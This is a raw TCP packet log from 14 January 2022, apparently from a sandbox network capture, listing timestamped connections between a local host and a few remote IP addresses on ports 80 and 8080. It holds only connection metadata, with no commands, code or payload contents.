Jan 14, 2022 02:04:33.857769012 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:33.858414888 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:33.858541012 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:33.920928955 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:34.273747921 CET	49786	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.328269005 CET	80	49786	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.328516006 CET	49786	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.328538895 CET	49786	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.328793049 CET	49786	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.383430958 CET	80	49786	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.410913944 CET	80	49786	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.410948038 CET	80	49786	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.411248922 CET	49786	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.411268950 CET	49786	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.445600033 CET	49787	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.463238001 CET	80	49786	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.496315956 CET	80	49787	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.496494055 CET	49787	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.496547937 CET	49787	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.496551991 CET	49787	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.547249079 CET	80	49787	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.577116966 CET	80	49787	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.577428102 CET	49787	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.577454090 CET	49787	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.620084047 CET	49788	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.628169060 CET	80	49787	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.670530081 CET	80	49788	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.670836926 CET	49788	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.670872927 CET	49788	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.672084093 CET	49788	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.721362114 CET	80	49788	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.722292900 CET	80	49788	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.749227047 CET	80	49788	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:34.749391079 CET	49788	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.749660969 CET	49788	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:34.758940935 CET	49790	80	192.168.2.3	188.166.28.199
Jan 14, 2022 02:04:34.799758911 CET	80	49788	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:37.844527006 CET	49790	80	192.168.2.3	188.166.28.199
Jan 14, 2022 02:04:43.843022108 CET	49790	80	192.168.2.3	188.166.28.199
Jan 14, 2022 02:04:55.883867979 CET	49824	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:55.935441971 CET	80	49824	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:55.935565948 CET	49824	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:55.935662985 CET	49824	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:55.935684919 CET	49824	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:55.989166021 CET	80	49824	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.017432928 CET	80	49824	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.017730951 CET	49824	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.017793894 CET	49824	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.045700073 CET	49825	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.069355965 CET	80	49824	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.095968962 CET	80	49825	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.099379063 CET	49825	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.099504948 CET	49825	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.099515915 CET	49825	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.151030064 CET	80	49825	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.179738045 CET	80	49825	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.179755926 CET	80	49825	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.179842949 CET	49825	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.180020094 CET	49825	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.230664015 CET	80	49825	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.522140026 CET	49826	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.572412968 CET	80	49826	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.572777033 CET	49826	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.572911978 CET	49826	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.572958946 CET	49826	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.622983932 CET	80	49826	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.650595903 CET	80	49826	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.650671959 CET	80	49826	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.653392076 CET	49826	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.653424978 CET	49826	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.698478937 CET	49827	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.704332113 CET	80	49826	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.750797033 CET	80	49827	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.750950098 CET	49827	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.751099110 CET	49827	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.751115084 CET	49827	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.802544117 CET	80	49827	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.844677925 CET	80	49827	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.844785929 CET	49827	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.844808102 CET	49827	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.872000933 CET	49828	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.896372080 CET	80	49827	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.923944950 CET	80	49828	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:56.924057961 CET	49828	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.924161911 CET	49828	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.924173117 CET	49828	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:56.974720955 CET	80	49828	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.004127026 CET	80	49828	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.005959988 CET	49828	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.032700062 CET	49828	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.083421946 CET	80	49828	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.100397110 CET	49829	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.150856972 CET	80	49829	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.151264906 CET	49829	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.151416063 CET	49829	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.151443958 CET	49829	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.201922894 CET	80	49829	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.234859943 CET	80	49829	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.234957933 CET	49829	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.235122919 CET	49829	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.261998892 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.285324097 CET	80	49829	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.312175989 CET	80	49830	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.313457012 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.313574076 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.313587904 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.364994049 CET	80	49830	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.395610094 CET	80	49830	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.397187948 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.397563934 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.447808981 CET	80	49830	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.448331118 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.500946999 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.501070976 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.501148939 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.501161098 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.553026915 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.581201077 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.581223011 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.581476927 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.612822056 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.643985033 CET	49832	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.664927006 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.694660902 CET	80	49832	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.694772005 CET	49832	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.694889069 CET	49832	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.694901943 CET	49832	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.745522976 CET	80	49832	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.772861958 CET	80	49832	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.773015022 CET	49832	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.773245096 CET	49832	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.799730062 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.824011087 CET	80	49832	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.851733923 CET	80	49833	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.851829052 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.851929903 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.853219032 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.903930902 CET	80	49833	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.905148983 CET	80	49833	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.944760084 CET	80	49833	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:57.944850922 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.945010900 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.972243071 CET	49834	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:57.996988058 CET	80	49833	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.022937059 CET	80	49834	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.024195910 CET	49834	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.024322987 CET	49834	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.024393082 CET	49834	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.074934959 CET	80	49834	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.074954987 CET	80	49834	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.128371000 CET	80	49834	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.128595114 CET	49834	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.128947973 CET	49834	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.158147097 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.179461956 CET	80	49834	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.208482981 CET	80	49835	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.209536076 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.209657907 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.211816072 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.259840012 CET	80	49835	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.261773109 CET	80	49835	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.286520004 CET	80	49835	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.288543940 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.288670063 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.316116095 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.338768005 CET	80	49835	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.366215944 CET	80	49836	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.366358042 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.366467953 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.366483927 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.416604042 CET	80	49836	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.444663048 CET	80	49836	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.444766045 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.444910049 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.494951010 CET	80	49836	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.739808083 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.790498018 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.790579081 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.790689945 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.849235058 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.849263906 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.849277973 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.849299908 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.849320889 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.849400043 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.849427938 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.849555016 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.849575996 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.849652052 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.849669933 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.849724054 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.849740028 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.850091934 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.851149082 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.900554895 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900588036 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900613070 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900635004 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900656939 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900672913 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.900679111 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900692940 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.900701046 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900727034 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900738955 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.900749922 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900774002 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.900789022 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.901119947 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.902542114 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902570009 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902592897 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902615070 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902637005 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902668953 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.902694941 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902719021 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902745962 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902766943 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902775049 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.902781010 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.902791023 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.902832985 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.902837992 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.951246977 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951280117 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951304913 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951328993 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951351881 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951375961 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951384068 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.951395035 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951407909 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.951411963 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951431036 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951447964 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951456070 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.951464891 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951483011 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951498985 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951517105 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951534986 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951544046 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.951549053 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.951550961 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951567888 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951582909 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951595068 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.951598883 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.951600075 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.951632977 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955044031 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955075979 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955102921 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955128908 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955153942 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955164909 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955178022 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955183029 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955202103 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955210924 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955226898 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955251932 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955275059 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955298901 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955308914 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955313921 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955323935 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955348015 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955370903 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955379009 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955394983 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955419064 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955441952 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955450058 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955455065 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955466032 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955488920 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955514908 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955519915 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955538988 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:58.955585003 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:58.955590010 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.002204895 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002252102 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002289057 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002337933 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002352953 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.002374887 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002412081 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002455950 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002468109 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.002474070 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.002497911 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002536058 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002569914 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002604961 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002654076 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002675056 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.002687931 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002722979 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002757072 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002800941 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002841949 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002856970 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.002863884 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.002892971 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002931118 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.002974033 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.003007889 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.003043890 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.003062963 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.003079891 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.003123045 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.003158092 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.003195047 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.003202915 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.003325939 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.007736921 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.007782936 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.007821083 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.007879019 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.007927895 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.007945061 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.007989883 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008028984 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008068085 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008094072 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.008120060 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008157969 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.008246899 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008286953 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008335114 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008374929 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008402109 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.008409977 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.008424044 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008467913 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008521080 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.008531094 CET	80	49838	93.189.42.167	192.168.2.3
